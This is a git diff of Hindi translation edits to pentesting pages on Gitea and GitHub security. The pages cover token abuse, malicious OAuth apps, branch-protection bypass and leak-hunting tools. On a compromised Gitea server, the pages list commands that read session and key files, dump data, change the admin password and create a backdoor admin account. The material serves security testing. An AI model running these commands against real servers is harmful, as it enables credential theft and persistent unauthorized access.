सकेगा। आमतौर पर, विभिन्न डिप्लॉय कुंजियों के साथ एक सर्वर में स्थानीय फ़ाइल **`~/.ssh/config`** आपको संबंधित कुंजी के बारे में जानकारी देगी। -#### GPG कुंजियाँ +#### GPG कुंजी -जैसा कि [**यहाँ**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) समझाया गया है, कभी-कभी कमिट्स पर हस्ताक्षर करना आवश्यक होता है या आप खोजे जा सकते हैं। +जैसा कि [**यहां**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) समझाया गया है, कभी-कभी कमिट्स पर हस्ताक्षर करना आवश्यक होता है या आप खोजे जा सकते हैं। -स्थानीय रूप से जांचें कि क्या वर्तमान उपयोगकर्ता के पास कोई कुंजी है: +स्थानीय रूप से चेक करें कि क्या वर्तमान उपयोगकर्ता के पास कोई कुंजी है: ```shell gpg --list-secret-keys --keyid-format=long ``` ### With User Token -[**यूजर टोकन के बारे में बुनियादी जानकारी के लिए यहाँ देखें**](basic-gitea-information.md#personal-access-tokens)। +[**यूजर टोकन के बारे में मूल जानकारी के लिए यहाँ देखें**](basic-gitea-information.md#personal-access-tokens)। -एक यूजर टोकन को **पासवर्ड के बजाय** Gitea सर्वर के खिलाफ **प्रमाणित** करने के लिए उपयोग किया जा सकता है [**API के माध्यम से**](https://try.gitea.io/api/swagger#/)। इसके पास **यूजर पर पूर्ण पहुंच** होगी। +एक यूजर टोकन को **पासवर्ड के बजाय** Gitea सर्वर के खिलाफ **प्रमाणित** करने के लिए उपयोग किया जा सकता है [**API के माध्यम से**](https://try.gitea.io/api/swagger#/)। इसके पास यूजर पर **पूर्ण पहुंच** होगी। ### With Oauth Application -[**Gitea Oauth एप्लिकेशन के बारे में बुनियादी जानकारी के लिए यहाँ देखें**](./#with-oauth-application)। +[**Gitea Oauth एप्लिकेशन के बारे में मूल जानकारी के लिए यहाँ देखें**](./#with-oauth-application)। -एक हमलावर एक **दुष्ट Oauth एप्लिकेशन** बना सकता है ताकि उन यूजर्स के विशेष डेटा/क्रियाओं तक पहुंच प्राप्त कर सके जो संभवतः उन्हें फ़िशिंग अभियान के हिस्से के रूप में स्वीकार करते हैं। +एक हमलावर एक **दुष्ट Oauth एप्लिकेशन** बना सकता है ताकि उन यूजर्स के विशेष डेटा/क्रियाओं तक पहुंच प्राप्त कर सके जो संभवतः उन्हें एक फ़िशिंग अभियान के हिस्से के रूप में स्वीकार करते हैं। -बुनियादी जानकारी में समझाया गया है कि एप्लिकेशन के पास **यूजर खाते पर पूर्ण पहुंच** होगी। +जैसा कि मूल जानकारी में बताया गया है, एप्लिकेशन के पास **यूजर खाते पर पूर्ण पहुंच** होगी। ### Branch Protection Bypass -Github में हमारे पास **github actions** हैं जो डिफ़ॉल्ट रूप से **लेखन पहुंच के साथ एक टोकन** प्राप्त करते हैं जिसका उपयोग **ब्रांच सुरक्षा को बायपास** करने के लिए किया जा सकता है। इस मामले में **यह मौजूद नहीं है**, इसलिए बायपास अधिक सीमित हैं। लेकिन चलिए देखते हैं कि क्या किया जा सकता है: +Github में हमारे पास **github actions** हैं जो डिफ़ॉल्ट रूप से **लेखन पहुंच** के साथ एक **टोकन** प्राप्त करते हैं जिसका उपयोग **ब्रांच सुरक्षा को बायपास** करने के लिए किया जा सकता है। इस मामले में यह **मौजूद नहीं है**, इसलिए बायपास अधिक सीमित हैं। लेकिन चलिए देखते हैं कि क्या किया जा सकता है: -- **पुश सक्षम करें**: यदि कोई भी लिखने की पहुंच के साथ ब्रांच पर पुश कर सकता है, तो बस इसे पुश करें। +- **पुश सक्षम करें**: यदि किसी के पास ब्रांच पर पुश करने की लेखन पहुंच है, तो बस इसे पुश करें। - **प्रतिबंधित पुश के लिए व्हाइटलिस्ट**: इसी तरह, यदि आप इस सूची का हिस्सा हैं तो ब्रांच पर पुश करें। - **मर्ज व्हाइटलिस्ट सक्षम करें**: यदि एक मर्ज व्हाइटलिस्ट है, तो आपको इसके अंदर होना चाहिए। -- **अनुमोदनों की आवश्यकता 0 से अधिक है**: फिर... आपको एक अन्य उपयोगकर्ता से समझौता करने की आवश्यकता है। -- **व्हाइटलिस्टेड उपयोगकर्ताओं के लिए अनुमोदनों को प्रतिबंधित करें**: यदि केवल व्हाइटलिस्टेड उपयोगकर्ता अनुमोदित कर सकते हैं... तो आपको उस सूची में एक अन्य उपयोगकर्ता से समझौता करने की आवश्यकता है। -- **पुराने अनुमोदनों को खारिज करें**: यदि अनुमोदन नए कमिट के साथ हटा नहीं दिए जाते हैं, तो आप पहले से अनुमोदित PR को हाईजैक कर सकते हैं ताकि अपने कोड को इंजेक्ट कर सकें और PR को मर्ज कर सकें। +- **अनुमोदनों की आवश्यकता 0 से अधिक है**: फिर... आपको एक अन्य उपयोगकर्ता से समझौता करना होगा। +- **व्हाइटलिस्टेड के लिए अनुमोदनों को प्रतिबंधित करें**: यदि केवल व्हाइटलिस्टेड उपयोगकर्ता अनुमोदित कर सकते हैं... तो आपको उस सूची में एक अन्य उपयोगकर्ता से समझौता करना होगा। +- **पुराने अनुमोदनों को खारिज करें**: यदि अनुमोदन नए कमिट के साथ हटा नहीं दिए जाते हैं, तो आप पहले से अनुमोदित PR को हाईजैक कर सकते हैं ताकि अपना कोड इंजेक्ट कर सकें और PR को मर्ज कर सकें। ध्यान दें कि **यदि आप एक संगठन/रेपो प्रशासक हैं** तो आप सुरक्षा को बायपास कर सकते हैं। ### Enumerate Webhooks -**वेबहुक्स** कुछ स्थानों पर **विशिष्ट गीटिया जानकारी भेजने में सक्षम हैं**। आप उस संचार का **शोषण** करने में सक्षम हो सकते हैं।\ -हालांकि, आमतौर पर एक **गुप्त** सेट किया जाता है जिसे आप **प्राप्त नहीं कर सकते** हैं **वेबहुक** में जो **बाहरी उपयोगकर्ताओं** को रोकता है जो वेबहुक के URL को जानते हैं लेकिन गुप्त को नहीं जानते हैं कि **उस वेबहुक का शोषण** कर सकें।\ -लेकिन कुछ अवसरों पर, लोग **गुप्त** को उसके स्थान पर सेट करने के बजाय, इसे **URL** में एक पैरामीटर के रूप में सेट करते हैं, इसलिए **URLs की जांच करना** आपको **गुप्त खोजने** और अन्य स्थानों को शोषण करने की अनुमति दे सकता है। +**वेबहुक्स** कुछ स्थानों पर **विशिष्ट gitea जानकारी भेजने में सक्षम हैं**। आप उस संचार का **शोषण** करने में सक्षम हो सकते हैं।\ +हालांकि, आमतौर पर एक **गुप्त** सेट किया जाता है जिसे आप **प्राप्त नहीं कर सकते** हैं **वेबहुक** में जो बाहरी उपयोगकर्ताओं को **उस वेबहुक का शोषण** करने से **रोकता** है जो URL जानते हैं लेकिन गुप्त नहीं जानते।\ +लेकिन कुछ अवसरों पर, लोग **गुप्त** को इसके स्थान पर सेट करने के बजाय, इसे **URL** में एक पैरामीटर के रूप में सेट करते हैं, इसलिए **URLs की जांच करना** आपको **गुप्त जानकारी** और अन्य स्थानों को खोजने की अनुमति दे सकता है जहाँ आप आगे शोषण कर सकते हैं। वेबहुक्स को **रेपो और संगठन स्तर पर** सेट किया जा सकता है। @@ -109,21 +109,21 @@ Github में हमारे पास **github actions** हैं जो ### Inside the server -यदि किसी तरह आप उस सर्वर के अंदर पहुँच गए जहाँ गीटिया चल रहा है, तो आपको गीटिया कॉन्फ़िगरेशन फ़ाइल के लिए खोज करनी चाहिए। डिफ़ॉल्ट रूप से यह `/data/gitea/conf/app.ini` में स्थित है। +यदि आप किसी तरह उस सर्वर के अंदर पहुँच गए जहाँ gitea चल रहा है, तो आपको gitea कॉन्फ़िगरेशन फ़ाइल के लिए खोज करनी चाहिए। डिफ़ॉल्ट रूप से यह `/data/gitea/conf/app.ini` में स्थित है। इस फ़ाइल में आप **कुंजी** और **पासवर्ड** पा सकते हैं। -गीटिया पथ (डिफ़ॉल्ट: /data/gitea) में आप भी दिलचस्प जानकारी पा सकते हैं जैसे: +gitea पथ (डिफ़ॉल्ट: /data/gitea) में आप भी दिलचस्प जानकारी पा सकते हैं जैसे: -- **sqlite** DB: यदि गीटिया एक बाहरी DB का उपयोग नहीं कर रहा है तो यह एक sqlite DB का उपयोग करेगा। -- **सत्र** सत्र फ़ोल्डर के अंदर: `cat sessions/*/*/*` चलाकर आप लॉग इन किए गए उपयोगकर्ताओं के उपयोगकर्ता नाम देख सकते हैं (गीटिया सत्रों को DB के अंदर भी सहेज सकता है)। +- **sqlite** DB: यदि gitea एक बाहरी db का उपयोग नहीं कर रहा है, तो यह एक sqlite db का उपयोग करेगा। +- **सत्र** सत्र फ़ोल्डर के अंदर: `cat sessions/*/*/*` चलाकर आप लॉग इन किए गए उपयोगकर्ताओं के उपयोगकर्ता नाम देख सकते हैं (gitea सत्रों को DB के अंदर भी सहेज सकता है)। - **jwt निजी कुंजी** jwt फ़ोल्डर के अंदर। - इस फ़ोल्डर में अधिक **संवेदनशील जानकारी** मिल सकती है। -यदि आप सर्वर के अंदर हैं तो आप **जानकारी तक पहुँचने/संशोधित करने के लिए `gitea` बाइनरी** का भी उपयोग कर सकते हैं: +यदि आप सर्वर के अंदर हैं, तो आप **जानकारी तक पहुँचने/संशोधित करने के लिए `gitea` बाइनरी** का भी उपयोग कर सकते हैं: -- `gitea dump` गीटिया को डंप करेगा और एक .zip फ़ाइल बनाएगा। -- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` निर्दिष्ट प्रकार का एक टोकन उत्पन्न करेगा (स्थायीता)। +- `gitea dump` gitea को डंप करेगा और एक .zip फ़ाइल बनाएगा। +- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` निर्दिष्ट प्रकार (स्थायी) का एक टोकन उत्पन्न करेगा। - `gitea admin user change-password --username admin --password newpassword` पासवर्ड बदलें। - `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` नया प्रशासक उपयोगकर्ता बनाएँ और एक एक्सेस टोकन प्राप्त करें। diff --git a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md index 4a8343ab4..a23746715 100644 --- a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md +++ b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md @@ -4,7 +4,7 @@ ## Basic Structure -बुनियादी Gitea वातावरण संरचना **संस्थान(ओं)** द्वारा रिपोजिटरी को समूहित करने के लिए है, जिनमें से प्रत्येक में **कई रिपोजिटरी** और **कई टीमें** हो सकती हैं। हालाँकि, ध्यान दें कि github की तरह, उपयोगकर्ताओं के पास संगठन के बाहर रिपोजिटरी हो सकती हैं। +बुनियादी Gitea वातावरण संरचना **संस्थान(ओं)** द्वारा रिपोजिटरी को समूहित करने के लिए है, जिनमें से प्रत्येक में **कई रिपोजिटरी** और **कई टीमें** हो सकती हैं। हालाँकि, ध्यान दें कि github की तरह उपयोगकर्ताओं के पास संगठन के बाहर रिपोजिटरी हो सकती हैं। इसके अलावा, एक **उपयोगकर्ता** **विभिन्न संगठनों** का **सदस्य** हो सकता है। संगठन के भीतर, उपयोगकर्ता के पास **प्रत्येक रिपोजिटरी पर विभिन्न अनुमतियाँ** हो सकती हैं। @@ -21,16 +21,16 @@ **Org admins** (owners) संगठन की **दृश्यता** का चयन कर सकते हैं: - सार्वजनिक -- सीमित (लॉगिन किए गए उपयोगकर्ताओं के लिए केवल) +- सीमित (लॉग इन उपयोगकर्ताओं के लिए केवल) - निजी (सदस्यों के लिए केवल) -**Org admins** यह भी संकेत कर सकते हैं कि क्या **repo admins** टीमों के लिए **पहुँच जोड़ने या हटाने** कर सकते हैं। वे अधिकतम रिपोजिटरी की संख्या भी संकेत कर सकते हैं। +**Org admins** यह भी संकेत कर सकते हैं कि क्या **repo admins** **टीमों के लिए पहुंच जोड़ या हटा सकते हैं**। वे अधिकतम रिपोजिटरी की संख्या भी संकेत कर सकते हैं। -एक नई टीम बनाते समय, कई महत्वपूर्ण सेटिंग्स चुनी जाती हैं: +नई टीम बनाते समय, कई महत्वपूर्ण सेटिंग्स चुनी जाती हैं: -- यह संकेत दिया गया है कि **टीम के सदस्य किस संगठन के रिपोजिटरी तक पहुँच सकते हैं**: विशिष्ट रिपोजिटरी (रिपोजिटरी जहाँ टीम जोड़ी गई है) या सभी। -- यह भी संकेत दिया गया है कि **क्या सदस्य नए रिपोजिटरी बना सकते हैं** (निर्माता को इसके लिए व्यवस्थापक पहुंच प्राप्त होगी) -- **रिपोजिटरी के सदस्यों के पास जो **अनुमतियाँ** होंगी**: +- यह संकेत दिया गया है कि **टीम के सदस्य किस संगठन के रिपोजिटरी तक पहुंच प्राप्त कर सकेंगे**: विशिष्ट रिपोजिटरी (रिपोजिटरी जहां टीम जोड़ी गई है) या सभी। +- यह भी संकेत दिया गया है **क्या सदस्य नए रिपोजिटरी बना सकते हैं** (निर्माता को इसके लिए व्यवस्थापक पहुंच प्राप्त होगी) +- **रिपोजिटरी के सदस्यों के पास **अनुमतियाँ** होंगी: - **व्यवस्थापक** पहुंच - **विशिष्ट** पहुंच: @@ -38,7 +38,7 @@ ### Teams & Users -एक रिपोजिटरी में, **org admin** और **repo admins** (यदि संगठन द्वारा अनुमति दी गई हो) सहयोगियों (अन्य उपयोगकर्ताओं) और टीमों को दिए गए **भूमिकाओं** का **प्रबंधन** कर सकते हैं। वहाँ **3** संभावित **भूमिकाएँ** हैं: +एक रिपोजिटरी में, **org admin** और **repo admins** (यदि संगठन द्वारा अनुमति दी गई हो) सहयोगियों (अन्य उपयोगकर्ताओं) और टीमों को दिए गए **भूमिकाओं** का **प्रबंधन** कर सकते हैं। संभावित **भूमिकाएँ** **3** हैं: - व्यवस्थापक - लिखें @@ -60,44 +60,44 @@ ### **Personal Access Tokens** -आप व्यक्तिगत पहुंच टोकन उत्पन्न कर सकते हैं ताकि **एक एप्लिकेशन को आपके खाते तक पहुंच प्रदान की जा सके**। एक व्यक्तिगत पहुंच टोकन आपके खाते पर पूर्ण पहुंच देता है: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications) +आप व्यक्तिगत पहुंच टोकन उत्पन्न कर सकते हैं ताकि **एक एप्लिकेशन को आपके खाते तक पहुंच प्रदान की जा सके**। एक व्यक्तिगत पहुंच टोकन आपके खाते पर पूर्ण पहुंच प्रदान करता है: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications) ### Oauth Applications -व्यक्तिगत पहुंच टोकनों की तरह, **Oauth applications** आपके खाते और उन स्थानों पर **पूर्ण पहुंच** रखेंगे जहाँ आपके खाते को पहुंच है क्योंकि, जैसा कि [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes) में संकेतित किया गया है, स्कोप अभी तक समर्थित नहीं हैं: +व्यक्तिगत पहुंच टोकनों की तरह **Oauth applications** आपके खाते और उन स्थानों पर **पूर्ण पहुंच** प्राप्त करेंगे जहां आपके खाते को पहुंच प्राप्त है क्योंकि, जैसा कि [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes) में संकेत दिया गया है, स्कोप अभी तक समर्थित नहीं हैं: ![](<../../images/image (194).png>) ### Deploy keys -डिप्लॉय कुंजियाँ रिपोजिटरी के लिए केवल पढ़ने या लिखने की पहुंच हो सकती हैं, इसलिए वे विशिष्ट रिपोजिटरी को समझौता करने के लिए दिलचस्प हो सकती हैं। +Deploy keys को रिपोजिटरी के लिए केवल पढ़ने या लिखने की पहुंच हो सकती है, इसलिए वे विशिष्ट रिपोजिटरी को समझौता करने के लिए दिलचस्प हो सकते हैं। ## Branch Protections -ब्रांच सुरक्षा का उद्देश्य उपयोगकर्ताओं को **एक रिपोजिटरी का पूर्ण नियंत्रण नहीं देना** है। लक्ष्य यह है कि **कुछ शाखा के अंदर कोड लिखने से पहले कई सुरक्षा विधियाँ लगाई जाएं**। +Branch protections का उद्देश्य उपयोगकर्ताओं को **एक रिपोजिटरी का पूर्ण नियंत्रण नहीं देना** है। लक्ष्य यह है कि **कुछ शाखा के अंदर कोड लिखने में सक्षम होने से पहले कई सुरक्षा विधियाँ लगाई जाएं**। -**एक रिपोजिटरी की शाखा सुरक्षा** _https://localhost:3000/\/\/settings/branches_ पर पाई जा सकती है। +**एक रिपोजिटरी की शाखा सुरक्षा** _https://localhost:3000/\/\/settings/branches_ में पाई जा सकती है। > [!NOTE] -> यह **संगठन स्तर पर शाखा सुरक्षा सेट करना संभव नहीं है**। इसलिए सभी को प्रत्येक रिपोजिटरी पर घोषित किया जाना चाहिए। +> संगठन स्तर पर शाखा सुरक्षा सेट करना **संभव नहीं है**। इसलिए सभी को प्रत्येक रिपोजिटरी पर घोषित किया जाना चाहिए। एक शाखा पर विभिन्न सुरक्षा लागू की जा सकती हैं (जैसे कि मास्टर पर): -- **पुश अक्षम करें**: कोई भी इस शाखा पर पुश नहीं कर सकता -- **पुश सक्षम करें**: कोई भी जिसे पहुंच है वह पुश कर सकता है, लेकिन बल पुश नहीं कर सकता। -- **व्हाइटलिस्ट प्रतिबंधित पुश**: केवल चयनित उपयोगकर्ता/टीम इस शाखा पर पुश कर सकते हैं (लेकिन कोई बल पुश नहीं) -- **मर्ज व्हाइटलिस्ट सक्षम करें**: केवल व्हाइटलिस्टेड उपयोगकर्ता/टीम PRs को मर्ज कर सकते हैं। -- **स्थिति जांच सक्षम करें:** मर्ज करने से पहले स्थिति जांच पास करने की आवश्यकता है। -- **अनुमोदनों की आवश्यकता**: यह संकेत करें कि PR को मर्ज करने से पहले कितने अनुमोदनों की आवश्यकता है। -- **व्हाइटलिस्टेड पर अनुमोदनों को प्रतिबंधित करें**: उन उपयोगकर्ताओं/टीमों को संकेत करें जो PRs को अनुमोदित कर सकते हैं। -- **अस्वीकृत समीक्षाओं पर मर्ज को अवरुद्ध करें**: यदि परिवर्तन अनुरोध किए जाते हैं, तो इसे मर्ज नहीं किया जा सकता (यहां तक कि यदि अन्य जांच पास हो जाएं) -- **आधिकारिक समीक्षा अनुरोधों पर मर्ज को अवरुद्ध करें**: यदि वहाँ आधिकारिक समीक्षा अनुरोध हैं, तो इसे मर्ज नहीं किया जा सकता -- **पुराने अनुमोदनों को अस्वीकार करें**: जब नए कमिट होते हैं, तो पुराने अनुमोदनों को अस्वीकार कर दिया जाएगा। -- **हस्ताक्षरित कमिट की आवश्यकता**: कमिट को हस्ताक्षरित होना चाहिए। -- **यदि पुल अनुरोध पुराना है तो मर्ज को अवरुद्ध करें** -- **संरक्षित/असंरक्षित फ़ाइल पैटर्न**: परिवर्तनों के खिलाफ सुरक्षा/असंरक्षित करने के लिए फ़ाइलों के पैटर्न को संकेत करें +- **Push निष्क्रिय करें**: कोई भी इस शाखा पर पुश नहीं कर सकता +- **Push सक्षम करें**: कोई भी जिसे पहुंच प्राप्त है वह पुश कर सकता है, लेकिन बल पुश नहीं कर सकता। +- **Whitelist Restricted Push**: केवल चयनित उपयोगकर्ता/टीम इस शाखा पर पुश कर सकते हैं (लेकिन कोई बल पुश नहीं) +- **Enable Merge Whitelist**: केवल व्हाइटलिस्टेड उपयोगकर्ता/टीम PRs को मर्ज कर सकते हैं। +- **Enable Status checks:** मर्ज करने से पहले स्थिति जांच पास करने की आवश्यकता है। +- **Require approvals**: एक PR को मर्ज करने से पहले आवश्यक अनुमतियों की संख्या को इंगित करें। +- **Restrict approvals to whitelisted**: उन उपयोगकर्ताओं/टीमों को इंगित करें जो PRs को अनुमोदित कर सकते हैं। +- **Block merge on rejected reviews**: यदि परिवर्तन अनुरोध किए जाते हैं, तो इसे मर्ज नहीं किया जा सकता (भले ही अन्य जांच पास हों) +- **Block merge on official review requests**: यदि आधिकारिक समीक्षा अनुरोध हैं तो इसे मर्ज नहीं किया जा सकता +- **Dismiss stale approvals**: जब नए कमिट होते हैं, तो पुराने अनुमोदन को खारिज कर दिया जाएगा। +- **Require Signed Commits**: कमिट को हस्ताक्षरित होना चाहिए। +- **Block merge if pull request is outdated** +- **Protected/Unprotected file patterns**: परिवर्तनों के खिलाफ सुरक्षा/असुरक्षित करने के लिए फ़ाइलों के पैटर्न को इंगित करें > [!NOTE] -> जैसा कि आप देख सकते हैं, भले ही आप किसी उपयोगकर्ता के कुछ क्रेडेंशियल प्राप्त करने में सफल रहे हों, **रिपोजिटरी को सुरक्षित किया जा सकता है जिससे आप उदाहरण के लिए मास्टर पर कोड पुश करने से रोक सकते हैं** ताकि CI/CD पाइपलाइन को समझौता किया जा सके। +> जैसा कि आप देख सकते हैं, भले ही आप किसी उपयोगकर्ता के कुछ क्रेडेंशियल प्राप्त करने में सफल रहे हों, **रिपोजिटरी सुरक्षा में हो सकती हैं जिससे आप उदाहरण के लिए मास्टर पर कोड पुश नहीं कर सकते** ताकि CI/CD पाइपलाइन को समझौता किया जा सके। {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/github-security/README.md b/src/pentesting-ci-cd/github-security/README.md index cd7efa78d..654b3964c 100644 --- a/src/pentesting-ci-cd/github-security/README.md +++ b/src/pentesting-ci-cd/github-security/README.md @@ -4,7 +4,7 @@ ## What is Github -(From [here](https://kinsta.com/knowledgebase/what-is-github/)) At a high level, **GitHub एक वेबसाइट और क्लाउड-आधारित सेवा है जो डेवलपर्स को उनके कोड को स्टोर और प्रबंधित करने में मदद करती है, साथ ही उनके कोड में परिवर्तनों को ट्रैक और नियंत्रित करने में भी**। +(From [here](https://kinsta.com/knowledgebase/what-is-github/)) उच्च स्तर पर, **GitHub एक वेबसाइट और क्लाउड-आधारित सेवा है जो डेवलपर्स को उनके कोड को स्टोर और प्रबंधित करने में मदद करती है, साथ ही उनके कोड में परिवर्तनों को ट्रैक और नियंत्रित करने में भी।** ### Basic Information @@ -16,17 +16,17 @@ basic-github-information.md Github रिपॉजिटरी को सार्वजनिक, निजी और आंतरिक के रूप में कॉन्फ़िगर किया जा सकता है। -- **Private** का मतलब है कि **केवल** **संस्थान** के लोग ही उन्हें एक्सेस कर सकेंगे -- **Internal** का मतलब है कि **केवल** **उद्यम** के लोग (एक उद्यम में कई संस्थान हो सकते हैं) इसे एक्सेस कर सकेंगे +- **Private** का मतलब है कि **केवल** **संस्थान** के लोग ही उन्हें एक्सेस कर सकेंगे। +- **Internal** का मतलब है कि **केवल** **उद्यम** के लोग (एक उद्यम में कई संस्थान हो सकते हैं) इसे एक्सेस कर सकेंगे। - **Public** का मतलब है कि **सभी इंटरनेट** इसे एक्सेस कर सकेगा। -यदि आप जानते हैं कि **कौन सा उपयोगकर्ता, रिपॉजिटरी या संगठन आप लक्षित करना चाहते हैं** तो आप **github dorks** का उपयोग करके संवेदनशील जानकारी खोज सकते हैं या **प्रत्येक रिपॉजिटरी पर संवेदनशील जानकारी लीक** के लिए खोज सकते हैं। +यदि आप जानते हैं कि **कौन सा उपयोगकर्ता, रिपॉजिटरी या संगठन आप लक्षित करना चाहते हैं**, तो आप **github dorks** का उपयोग करके संवेदनशील जानकारी खोज सकते हैं या **प्रत्येक रिपॉजिटरी पर संवेदनशील जानकारी लीक** के लिए खोज सकते हैं। ### Github Dorks -Github आपको **किसी चीज़ को खोजने की अनुमति देता है, जिसमें एक उपयोगकर्ता, एक रिपॉजिटरी या एक संगठन को स्कोप के रूप में निर्दिष्ट किया गया है**। इसलिए, संवेदनशील जानकारी के करीब आने वाले स्ट्रिंग्स की एक सूची के साथ, आप आसानी से **अपने लक्ष्य में संभावित संवेदनशील जानकारी के लिए खोज सकते हैं**। +Github **किसी चीज़ को खोजने की अनुमति देता है, जिसमें उपयोगकर्ता, रिपॉजिटरी या संगठन को स्कोप के रूप में निर्दिष्ट किया गया है।** इसलिए, संवेदनशील जानकारी के करीब आने वाले स्ट्रिंग्स की एक सूची के साथ, आप आसानी से **अपने लक्ष्य में संभावित संवेदनशील जानकारी खोज सकते हैं।** -Tools (each tool contains its list of dorks): +Tools (प्रत्येक टूल में इसके dorks की सूची होती है): - [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks)) - [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt)) @@ -34,9 +34,9 @@ Tools (each tool contains its list of dorks): ### Github Leaks -कृपया ध्यान दें कि github dorks का उपयोग लीक खोजने के लिए भी किया जाता है, जो github खोज विकल्पों का उपयोग करते हैं। यह अनुभाग उन उपकरणों के लिए समर्पित है जो **प्रत्येक रिपॉजिटरी को डाउनलोड करेंगे और उनमें संवेदनशील जानकारी के लिए खोज करेंगे** (यहां तक कि कमिट्स की निश्चित गहराई की जांच करना)। +कृपया ध्यान दें कि github dorks का उपयोग लीक खोजने के लिए भी किया जाता है, जो github खोज विकल्पों का उपयोग करते हैं। यह अनुभाग उन उपकरणों के लिए समर्पित है जो **प्रत्येक रिपॉजिटरी को डाउनलोड करेंगे और उनमें संवेदनशील जानकारी की खोज करेंगे** (यहां तक कि कमिट्स की निश्चित गहराई की जांच करना)। -Tools (each tool contains its list of regexes): +Tools (प्रत्येक टूल में इसके regexes की सूची होती है): - [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks) - [https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog) @@ -47,11 +47,11 @@ Tools (each tool contains its list of regexes): - [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets) > [!WARNING] -> जब आप किसी रिपॉजिटरी में लीक की तलाश करते हैं और कुछ ऐसा चलाते हैं जैसे `git log -p` तो न भूलें कि **अन्य कमिट्स के साथ अन्य ब्रांच भी हो सकती हैं** जिनमें रहस्य हो सकते हैं! +> जब आप किसी रिपॉजिटरी में लीक की तलाश करते हैं और कुछ ऐसा चलाते हैं जैसे `git log -p` तो न भूलें कि वहाँ **अन्य शाखाएँ हो सकती हैं जिनमें अन्य कमिट्स** हो सकते हैं जिनमें रहस्य हो सकते हैं! ### External Forks -यह संभव है कि **पुल अनुरोधों का दुरुपयोग करके रिपॉजिटरी को समझौता किया जाए**। यह जानने के लिए कि क्या कोई रिपॉजिटरी कमजोर है, आपको ज्यादातर Github Actions yaml कॉन्फ़िगरेशन पढ़ने की आवश्यकता है। [**इससे संबंधित अधिक जानकारी नीचे**](./#execution-from-a-external-fork)। +यह **पुल अनुरोधों का दुरुपयोग करके रिपॉजिटरी को समझौता करना संभव है।** यह जानने के लिए कि क्या कोई रिपॉजिटरी कमजोर है, आपको ज्यादातर Github Actions yaml कॉन्फ़िगरेशन पढ़ने की आवश्यकता है। [**इस बारे में अधिक जानकारी नीचे**](./#execution-from-a-external-fork)। ### Github Leaks in deleted/internal forks @@ -65,12 +65,12 @@ accessible-deleted-data-in-github.md ### Member Privileges -कुछ **डिफ़ॉल्ट विशेषताएँ** हैं जो **सदस्यों** को संगठन में सौंपा जा सकता है। इन्हें पृष्ठ `https://github.com/organizations//settings/member_privileges` या [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs) से नियंत्रित किया जा सकता है। +कुछ **डिफ़ॉल्ट विशेषताएँ** हैं जो **सदस्यों** को संगठन में सौंपा जा सकता है। इन्हें पृष्ठ `https://github.com/organizations//settings/member_privileges` से या [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs) से नियंत्रित किया जा सकता है। - **Base permissions**: सदस्यों को संगठन की रिपॉजिटरी पर None/Read/write/Admin की अनुमति होगी। अनुशंसित है **None** या **Read**। - **Repository forking**: यदि आवश्यक नहीं है, तो सदस्यों को संगठन की रिपॉजिटरी को फोर्क करने की **अनुमति न दें**। - **Pages creation**: यदि आवश्यक नहीं है, तो सदस्यों को संगठन की रिपॉजिटरी से पृष्ठ प्रकाशित करने की **अनुमति न दें**। यदि आवश्यक हो, तो आप सार्वजनिक या निजी पृष्ठ बनाने की अनुमति दे सकते हैं। -- **Integration access requests**: इसे सक्षम करने पर बाहरी सहयोगियों को इस संगठन और इसके संसाधनों तक पहुँच के लिए GitHub या OAuth ऐप्स के लिए अनुरोध करने की अनुमति होगी। यह आमतौर पर आवश्यक होता है, लेकिन यदि नहीं, तो इसे बंद करना बेहतर है। +- **Integration access requests**: यदि यह सक्षम है, तो बाहरी सहयोगियों को इस संगठन और इसके संसाधनों तक पहुँच के लिए GitHub या OAuth ऐप्स के लिए अनुरोध करने की अनुमति होगी। यह आमतौर पर आवश्यक है, लेकिन यदि नहीं, तो इसे बंद करना बेहतर है। - _मैंने APIs प्रतिक्रिया में यह जानकारी नहीं पाई, यदि आप करते हैं तो साझा करें_ - **Repository visibility change**: यदि सक्षम है, तो **सदस्य** जिनके पास **रिपॉजिटरी** के लिए **admin** अनुमतियाँ हैं, वे **इसके दृश्यता को बदलने** में सक्षम होंगे। यदि अक्षम है, तो केवल संगठन के मालिक ही रिपॉजिटरी की दृश्यता बदल सकते हैं। यदि आप **नहीं** चाहते कि लोग चीजों को **सार्वजनिक** बनाएं, तो सुनिश्चित करें कि यह **अक्षम** है। - _मैंने APIs प्रतिक्रिया में यह जानकारी नहीं पाई, यदि आप करते हैं तो साझा करें_ @@ -78,16 +78,16 @@ accessible-deleted-data-in-github.md - _मैंने APIs प्रतिक्रिया में यह जानकारी नहीं पाई, यदि आप करते हैं तो साझा करें_ - **Allow members to create teams**: यदि सक्षम है, तो संगठन का कोई भी **सदस्य** नए **टीम** बनाने में सक्षम होगा। यदि अक्षम है, तो केवल संगठन के मालिक नए टीम बना सकते हैं। इसे अक्षम रखना बेहतर है। - _मैंने APIs प्रतिक्रिया में यह जानकारी नहीं पाई, यदि आप करते हैं तो साझा करें_ -- **इस पृष्ठ पर और चीजें कॉन्फ़िगर की जा सकती हैं लेकिन पिछले अधिकतर सुरक्षा से 